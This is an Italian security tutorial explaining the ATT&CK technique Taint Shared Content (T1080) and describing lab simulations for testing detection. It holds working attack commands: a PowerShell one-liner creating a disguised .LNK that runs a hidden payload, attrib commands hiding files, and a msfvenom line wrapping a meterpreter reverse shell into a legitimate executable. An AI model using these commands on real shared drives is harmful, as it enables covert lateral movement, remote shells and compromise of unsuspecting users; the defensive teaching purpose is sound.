Contenuti Avvelenati nelle Share di Rete: Taint Shared Content (T1080)

Taint Shared Content descrive una tecnica di Lateral Movement (tattica TA0008) in cui l'avversario compromette risorse condivise — drive di rete, repository interni, cartelle NAS — inserendo payload malevoli all'interno di file apparentemente legittimi. L'obiettivo non è colpire un singolo endpoint, ma trasformare l'infrastruttura condivisa in un vettore di propagazione: ogni utente che accede al file avvelenato esegue inconsapevolmente il codice dell'attaccante, amplificando il raggio dell'intrusione senza bisogno di exploit aggiuntivi.

Le varianti documentate spaziano dall'iniezione di macro nei documenti Office alla sostituzione di binari legittimi con versioni trojanizzate, fino alla tecnica del directory share pivot, dove file .LNK mascherati da cartelle reali eseguono malware nascosto prima di aprire il contenuto atteso dall'utente. L'infezione può colpire formati binari e non: .EXE, .DLL, .SCR, .BAT, .VBS e altri ancora.

L'impatto operativo è significativo: 5 gruppi APT e 7 famiglie malware documentate sfruttano questa tecnica, con 4 mitigazioni raccomandate. La pericolosità risiede nella natura fiduciaria delle risorse condivise — gli utenti non si aspettano contenuti malevoli in una cartella HR o in un repository di progetto — e nella capacità di reinfezione continua che garantisce persistenza e accesso a nuovi account, potenzialmente a privilegi più elevati.

La simulazione di questa tecnica in laboratorio richiede un ambiente con almeno due endpoint connessi a una share SMB o NFS. L'obiettivo è verificare se i controlli di detection e prevenzione della rete target rilevano la modifica di contenuti condivisi e l'esecuzione risultante.

Scenario 1 — Directory share pivot con file LNK malevolo. Il concetto è creare un collegamento .LNK che sembra una cartella legittima, esegue un payload nascosto e poi apre la directory reale. Su Windows, puoi generare il file LNK tramite PowerShell:

$ws = New-Object -ComObject WScript.Shell; $lnk = $ws.CreateShortcut("\\LAB-SHARE\HR\Documenti.lnk"); $lnk.TargetPath = "cmd.exe"; $lnk.Arguments = "/c start hidden_payload.exe & explorer \\LAB-SHARE\HR\Documenti_reali"; $lnk.IconLocation = "shell32.dll,3"; $lnk.Save()

Per nascondere il payload e la cartella reale, imposta gli attributi hidden:

attrib +h +s "\\LAB-SHARE\HR\hidden_payload.exe" attrib +h +s "\\LAB-SHARE\HR\Documenti_reali"

Scenario 2 — Iniezione di macro in documenti Office su share. Questo replica il comportamento di Gamaredon Group. Usa un tool come Macro_Pack (open source) per iniettare macro VBA in un documento Word posizionato sulla share. Il framework genera payload in formati Office con offuscamento automatico, semplificando la fase di weaponization in lab.

Scenario 3 — Propagazione tramite binary infection. Per simulare il prepending di codice a un binario legittimo (come fa Ramsay o H1N1), puoi usare msfvenom di Metasploit Framework (open source) per generare un binario che wrappa un eseguibile legittimo:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP_LAB> LPORT=4444 -x legit_app.exe -k -f exe -o infected_app.exe

Posiziona il file risultante sulla share al posto dell'originale e monitora se l'EDR interviene.

Scenario 4 — Copia automatica su NAS. Replica il comportamento di Miner-C copiando un eseguibile nella cartella pubblica di un dispositivo NAS di test. Un semplice copy payload.exe \\NAS-LAB\public\ è sufficiente per verificare se il File Integrity Monitoring rileva la modifica.

Per l'orchestrazione completa, Atomic Red Team (open source) fornisce test atomici per T1080 che automatizzano il posizionamento di file su share e la verifica della detection.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo